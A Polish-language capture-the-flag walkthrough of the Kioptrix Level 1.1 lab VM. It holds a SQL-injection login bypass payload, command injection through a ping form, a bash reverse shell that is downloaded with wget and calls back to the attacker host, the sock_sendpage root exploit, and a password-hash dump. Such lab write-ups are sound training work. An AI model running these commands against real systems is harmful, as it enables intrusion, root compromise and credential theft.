Kioptrix: Level 1.1 (#2)

Kioptrix: Level 1.1

Write-up is in Polish language.

Metainfo

Nazwa:	Kioptrix: Level 1.1
Autor:	Kioptrix
Wypuszczony:	11.02.2011
Do ściągnięcia:	Stąd - Vulnhub
Poziom:	Średni
Nauczysz się:	Metasploit, Sqlmap

Wstęp

Po przeczytaniu paru książek o hackingu: Metasploit wydanie I i II, Kali Linux. Testy penetracyjne. Wydanie III, Kali linux - testy bezpieczeństwa, bezpieczeństwo aplikacji webowych, wypadałoby zacząć wykorzystywać swoją wiedzę i zamienić ją w praktykę. W jednej z książek był wspomniany wspaniały serwis vulnhub, gdzie jest masa podatnych wirtualek, które można ściągnąć i spróbować się na nie włamać. Ja do tego używam serwera postawionego na XCP-NG/Xenserver (ver 8.1) na nettopie.

Czemu Kioptrix: Level 1.1 (#2)?

Ostatni opis “przejścia” jest z 2017 roku i screeny do końca nie odpowiadają już rzeczywistości. Przeglądarki internetowe źle wyświetlają formularze, więc trochę inaczej trzeba się zabrać za to, niż jest na tutorialach, przy okazji poćwiczymy trochę z Metasploitem.

Rekonesans

Po ściągnięciu obrazu i zainstalowaniu zabieramy się za pentesting. Uruchamiamy wirtualkę i pierwszym krokiem, który powinniśmy uczynić, to jest ustalenie ip Kioptrixa. W “Xcp-ng center” można zobaczyć adres mak maszyny wirtualnej, ale jeżeli nie używamy “Xcp-ng Center” i mamy odpaloną tylko jedną wirtualkę, to mak też znajdziemy (to już wam zostawiam). Zakładam, że na obrazie z którego atakujecie jest zainstalowany Metasploit, a najlepiej jakbyście używali Kali, bo użyjemy też Sqlmap.

Zakładam, że Metasploit jest już przynajmniej częściowo znany i jest połączenie z bazą.

• msfconsole - #odpalamy konsole Metasploita

• workspace -a kioptrix_v2 - #tworzymy profil

• db_nmap -sn 172.16.1.0/24 - #skanujemy sieć w poszukiwaniu naszego obrazu, używamy szybkiego skanowania

• hosts - #wypisujemy hosty, które są w naszej bazie

• grep -i BE:C4:50:31:E5:BA hosts - #szukamy nasz obraz przez adres mak

• db_nmap -A 172.16.1.238 - #dokładnie skanujemy Kioptrixa

Sprawdźmy co znalazł Nmap

msf6 post(linux/gather/hashdump) > services
Services
========

host          port  proto  name       state  info
----          ----  -----  ----       -----  ----
172.16.1.238  22    tcp    ssh        open   OpenSSH 3.9p1 protocol 1.99
172.16.1.238  80    tcp    http       open   Apache httpd 2.0.52 (CentOS)
172.16.1.238  111   tcp    rpcbind    open   2 RPC #100000
172.16.1.238  443   tcp    ssl/https  open
172.16.1.238  631   tcp    ipp        open   CUPS 1.1
172.16.1.238  3306  tcp    mysql      open   MySQL unauthorized

Widzimy Apache na 80 porcie, jest również Mysql na porcie 3306. Niestety, nie wiadomo jaka to jest wersja. Skaner mysql version niezbyt nam tutaj pomaga.

msf6 auxiliary(scanner/http/error_sql_injection) > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(scanner/mysql/mysql_version) > run

[*] 172.16.1.238:3306     - 172.16.1.238:3306 is running MySQL, but responds with an error: \x04Host '172.16.1.10' is not allowed to connect to this MySQL server
[*] 172.16.1.238:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Podsumowując, ip z którego atakujemy to: 172.16.1.10. Atakowana maszyna zaś ma ip 172.16.1.238. Interesują nas porty 80 i 3306.

Atak

http://172.16.1.238/

Ukazuje się nam panel z loginem i hasłem.

Próby z łatwymi hasłami nie działają. Otwórzmy drugą konsolę i użyjmy do tego Sqlmap, bo możliwe, że Apache łączy się z Mysqlem.

# sqlmap --batch -a --forms --dbms=mysql -u "http://172.16.1.238/"

--batch - nie czeka na potwierdzenie wciśnięcia klawisza
-a próbuje wszystkiego
--forms - nie musimy podawać parametrów formularza, program automatycznie znajdzie
--dbms=mysql - bazy danych z rodziny Mysql
-u host

Niestety, SQL Injection się nie powiódł. Zwiększmy w Sqlmap poziom ryzyka i przeszukiwania.

# sqlmap --batch -a --level 5 --risk 3 --forms --dbms=mysql -u "http://172.16.1.238/"

Tym razem się udało.

web server operating system: Linux CentOS 4
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL < 5.0.0
banner: '4.1.22'

**jest i login/pass: john/hiroshima**

Niestety wbić się na serwer można chyba tylko przez “localhosta”, albo z jakiegoś konkretnego ip. Po próbie zalogowania się na użytkownika john serwer nas odrzuca. Jeszcze nie wszystko stracone. Sqlmap wypisał nam również podatność SQL Injection, którą możemy użyć w naszym zapytaniu.

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-9079' OR 4132=4132-- SPZO&psw=admin&btnLogin=Login
    Vector: OR [INFERENCE]

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: uname=admin' AND 4343=BENCHMARK(5000000,MD5(0x68787441))-- OMGv&psw=admin&btnLogin=Login
    Vector: AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
---

Parametry uname i psw są podatne na wstrzyknięcia. Spróbujmy z uname. Do pola Username wpisujemy -9079' OR 4132=4132-- Uwaga, należy pamiętać o spacji po –, inaczej wstrzyknięcie się nie powiedzie.

Naszym oczom się ukazuje takie coś…

Fajnie, chciałbym popingować, ale gdzie mam wpisać adres? Spójrzmy na kod html.

No ładnie, nowe przeglądarki (2021 rok) nie obsługują poprawnie kodu z 2011 roku ;) Nic to. Żeby “pomóc” przeglądarce spingować ip możemy użyć Burp suite lub Curla. Użyjemy Curla. Parametry mamy podane w kodzie źródłowym.

# curl -X POST -d 'ip=127.0.0.1&submit=submit' http://172.16.1.238/pingit.php
127.0.0.1<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.024 ms

Sukces, działa! Sprawdźmy czy jest podatność na Code Injection?

# curl -X POST -d 'ip=127.0.0.1;ls&submit=submit' http://172.16.1.238/pingit.php
127.0.0.1;ls<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.025 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.022/0.024/0.026/0.004 ms, pipe 2
index.php
pingit.php

Jest podatność! Jesteśmy prawie w domu. To co nam zostało to wrzucić backdoora, który się połączy z naszą maszyną atakującą.

Załóżmy, że atakujemy z ip 172.16.1.10, tworzymy więc prościutki backdoor, który będzie się łączył z naszą maszyną.

# echo 'bash -i > /dev/tcp/172.16.1.10/4444 2>&1 0>&1' > rev-shell.sh

Na Kali przygotowujemy ładunek do wysyłki.

# nc -v -l -p 80 < rev-shell.sh

Na następnej konsoli odpalamy nasz Code injection.

# curl -X POST -d 'ip=;wget 172.16.1.10 -O /tmp/rev-shell.sh&submit=submit' http://172.16.1.238/pingit.php

Jak mniej więcej będzie taki komunikat poniżej, to powinno zacząć się pobieranie backdoora.

172.16.1.238: inverse host lookup failed: Unknown host
connect to [172.16.1.10] from (UNKNOWN) [172.16.1.238] 32792
GET / HTTP/1.0
User-Agent: Wget/1.10.2 (Red Hat modified)
Accept: */*
Host: 172.16.1.10
Connection: Keep-Alive

Nie wiem czemu, ale trzeba ręcznie przerwać sesje, (tam gdzie ściągamy Wgetem).

sprawdźmy czy się plik wrzucił:

# curl -X POST -d 'ip=;ls /tmp/&submit=submit' http://172.16.1.238/pingit.php

Plik jest, jednak zanim uruchomimy backdoora, użyjemy Metasploit do nasłuchiwania. Przechodzimy do konsoli z Metasploitem i wywolujemy

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > run -j

Następnie łączymy się z serwerem:

# curl -X POST -d 'ip=;bah /tmp/rev-shell.sh&submit=submit' http://172.16.1.238/pingit.php

i na konsoli Metasploita powinniśmy mieć dostęp do Shella. Trzeba tylko wpisać nr sesji. Np. session 3

# bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
# bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Brak roota, wyjdzmy z Shella background i poszukajmy exploita. Serwer jest dosyć stary, więc powina być podatność na exploit o nazwie sendpage.

W konsoli msf:

msf6 exploit(linux/local/sock_sendpage) > use exploit/linux/local/sock_sendpage
msf6 exploit(linux/local/sock_sendpage) > set session 3
session => 3
msf6 exploit(linux/local/sock_sendpage) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.1.10:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.QQefgmLa' (3509 bytes) ...
[*] Executing payload...
[*] Sending stage (980808 bytes) to 172.16.1.238
[*] Meterpreter session 5 opened (172.16.1.10:4444 -> 172.16.1.238:32803) at 2021-06-05 23:16:03 +0200

meterpreter > getuid
Server username: root @ kioptrix.level2 (uid=0, gid=0, euid=0, egid=0)
meterpreter >

Mamy roota. Na zakończenie możemy sobie ściągnąć hasła

background
use post/linux/gather/hashdump
set session 5
run

I to byłoby na tyle. To był mój pierwszy opis, jak zdobyć roota na** Kioptrix: Level 1.1**. Jeżeli masz jakieś sugestie, znalazłeś błędy, to śmiało pisz tu komentarz, lub wyślij mejla na kerszi@protonmail.com